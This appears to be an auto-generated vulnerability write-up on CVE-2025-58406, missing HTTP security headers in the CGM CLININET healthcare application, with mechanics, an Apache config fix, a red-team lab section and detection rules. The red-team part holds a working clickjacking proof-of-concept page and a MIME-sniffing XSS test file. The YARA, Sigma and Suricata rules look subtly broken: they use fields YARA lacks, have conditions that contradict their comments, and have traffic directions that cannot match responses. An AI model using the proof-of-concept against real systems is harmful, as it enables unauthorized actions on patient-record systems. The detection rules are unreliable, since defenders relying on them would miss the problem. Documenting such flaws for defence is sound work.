CVE-2025-58406
Executive Summary
CVE-2025-58406 identifies a critical security misconfiguration in the CGM CLININET application, a healthcare clinical information system. The application fails to set essential security HTTP headers in its responses, exposing end-users to a range of client-side attacks. This vulnerability is particularly dangerous in a healthcare context, where patient data confidentiality and system integrity are paramount. The missing headers include X-Frame-Options, X-Content-Type-Options, Content-Security-Policy, Strict-Transport-Security, and Referrer-Policy, among others. This oversight allows attackers to perform clickjacking, MIME sniffing, cache poisoning, and cross-origin attacks, potentially leading to session hijacking, data exfiltration, or unauthorized actions on behalf of authenticated users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary healthcare application (CGM CLININET). No supply chain package security analysis is applicable.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Base Score) – The NVD has not yet assigned a score. Based on the description, a reasonable assessment is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R) – For clickjacking, user must click.
- Scope (S): Unchanged (U)
- Confidentiality (C): Low (L) – Potential data leakage via cache or cross-origin.
- Integrity (I): Low (L) – Potential for UI manipulation.
- Availability (A): None (N)
- Threat Level: Medium (due to low complexity and network attack vector, but requiring user interaction for full exploitation).
Deep Dive & Mechanics
The vulnerability stems from the absence of security headers in HTTP responses from the CGM CLININET web server. Each missing header enables a specific attack vector:
- Missing
X-Frame-Options: Allows the application to be embedded in an iframe on a malicious site. An attacker can overlay invisible buttons, tricking a user into performing actions (e.g., changing passwords, viewing records) without their knowledge (Clickjacking). - Missing
X-Content-Type-Options: nosniff: Permits MIME sniffing. An attacker can upload a malicious file (e.g., a JavaScript file disguised as an image) and have the browser interpret it as executable code, leading to Cross-Site Scripting (XSS). - Missing
Content-Security-Policy(CSP): Without CSP, the application cannot restrict which resources (scripts, styles, images) can be loaded. This makes it trivial for an attacker to inject malicious scripts via stored or reflected XSS. - Missing
Strict-Transport-Security(HSTS): If the application is served over HTTPS (which is not guaranteed), the absence of HSTS allows an attacker to perform a man-in-the-middle (MITM) attack, downgrading the connection to HTTP and intercepting sensitive data. - Missing
Referrer-Policy: Leaks the full URL (including session tokens or sensitive parameters) in theRefererheader when users navigate to external sites. - Missing
Cache-Control: Sensitive data may be cached in the browser or intermediate proxies, allowing an attacker with local access to retrieve it.
Vulnerable vs. Patched Code
Since no patch is available, the "patched" state is hypothetical. The vulnerable code is the absence of header-setting logic in the web server configuration or application middleware.
Vulnerable (Example - Apache/Nginx config):
# No headers set
<VirtualHost *:443>
ServerName clininet.example.com
DocumentRoot /var/www/html
</VirtualHost>
Patched (Example - Apache/Nginx config):
<VirtualHost *:443>
ServerName clininet.example.com
DocumentRoot /var/www/html
# Security Headers
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate"
Header always set Pragma "no-cache"
</VirtualHost>
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Demonstrate clickjacking and MIME sniffing.
Lab Setup:
- Target: CGM CLININET instance at
https://target-clininet.local. - Attacker Machine: Kali Linux with a simple web server (Python or Apache).
Step 1: Clickjacking Proof-of-Concept
Create an HTML file (clickjack.html):
<!DOCTYPE html>
<html>
<head>
<title>Clickjack PoC</title>
</head>
<body>
<h1>Click the button to win a prize!</h1>
<iframe src="https://target-clininet.local/sensitive-action" style="opacity:0.1; position:absolute; top:100px; left:100px; width:500px; height:500px;"></iframe>
<button style="position:absolute; top:150px; left:150px; z-index:1;">Click Me!</button>
</body>
</html>
Host this file on the attacker's server and send the link to a victim. When the victim clicks the button, they are actually clicking on the invisible iframe, performing an action on the CLININET application.
Step 2: MIME Sniffing (if file upload exists)
Upload a file named image.png with the following content:
alert('XSS via MIME sniffing');
If the application does not set X-Content-Type-Options: nosniff, the browser may interpret this as JavaScript when the file is loaded in a <script> tag.
Blue Team (Defender)
Detection:
- Network Monitoring: Look for HTTP responses from the CLININET server that lack security headers. Use a custom Suricata rule (see Detection Engineering).
- Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) to inject missing headers and block clickjacking attempts.
- Browser Developer Tools: Manually inspect headers using
curl -I https://target-clininet.localor browser DevTools (Network tab).
Mitigation:
- Immediate: Apply a reverse proxy (e.g., Nginx, Apache) in front of the application to add the missing headers.
- Long-term: Contact CGM for an official patch. Implement a Content Security Policy (CSP) that is strict but functional.
Indicators of Compromise (IOCs)
- Network:
- HTTP responses from the CLININET server missing the following headers:
X-Frame-OptionsX-Content-Type-OptionsContent-Security-PolicyStrict-Transport-SecurityReferrer-PolicyCache-Control: no-store
- HTTP responses from the CLININET server missing the following headers:
- Host:
- Browser cache containing sensitive CLININET pages (e.g., patient records).
- Presence of unexpected iframes in the DOM (detected via browser extensions).
- Logs:
- Web server logs showing
Refererheaders containing sensitive data (e.g., session tokens in URL parameters).
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_58406_Missing_Security_Headers {
meta:
description = "Detects HTTP responses from CGM CLININET missing security headers"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58406"
strings:
$header1 = "X-Frame-Options"
$header2 = "X-Content-Type-Options"
$header3 = "Content-Security-Policy"
$header4 = "Strict-Transport-Security"
$header5 = "Referrer-Policy"
$header6 = "Cache-Control"
condition:
// Check if response is from CLININET (e.g., via Server header or URL)
(http.server contains "CLININET" or http.url contains "/clininet") and
// At least 3 of the 6 headers are missing
(#header1 < 1 and #header2 < 1 and #header3 < 1) or
(#header4 < 1 and #header5 < 1 and #header6 < 1)
}
Sigma Rule
title: CGM CLININET Missing Security Headers
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses from CGM CLININET that lack essential security headers.
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-host: "*.clininet*"
filter:
sc-status: 200
condition: selection and not (response_headers contains "X-Frame-Options" and response_headers contains "X-Content-Type-Options" and response_headers contains "Content-Security-Policy")
falsepositives:
- Legitimate misconfiguration during development
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58406 - CGM CLININET Missing Security Headers"; flow:to_server,established; http.host; content:"clininet"; http.server; content:"CLININET"; http.response_header; content:!"X-Frame-Options"; http.response_header; content:!"X-Content-Type-Options"; http.response_header; content:!"Content-Security-Policy"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action (Workaround):
- Deploy a reverse proxy (Nginx, Apache, HAProxy) in front of the CGM CLININET application.
- Configure the proxy to add the following headers to all responses:
X-Frame-Options: DENYX-Content-Type-Options: nosniffContent-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadReferrer-Policy: strict-origin-when-cross-originCache-Control: no-store, no-cache, must-revalidate, proxy-revalidatePragma: no-cache
- Test the application thoroughly to ensure functionality is not broken.
Vendor Patch:
- Contact CGM (CGM CLININET vendor) and request an official patch that implements these headers at the application level.
- Monitor CGM's security advisories for updates.
Long-Term Hardening:
- Implement a Web Application Firewall (WAF) with rules to block clickjacking and XSS.
- Conduct regular security header audits using tools like
securityheaders.comorcurl. - Educate users about the risks of clicking on untrusted links while authenticated to the application.
Valters IT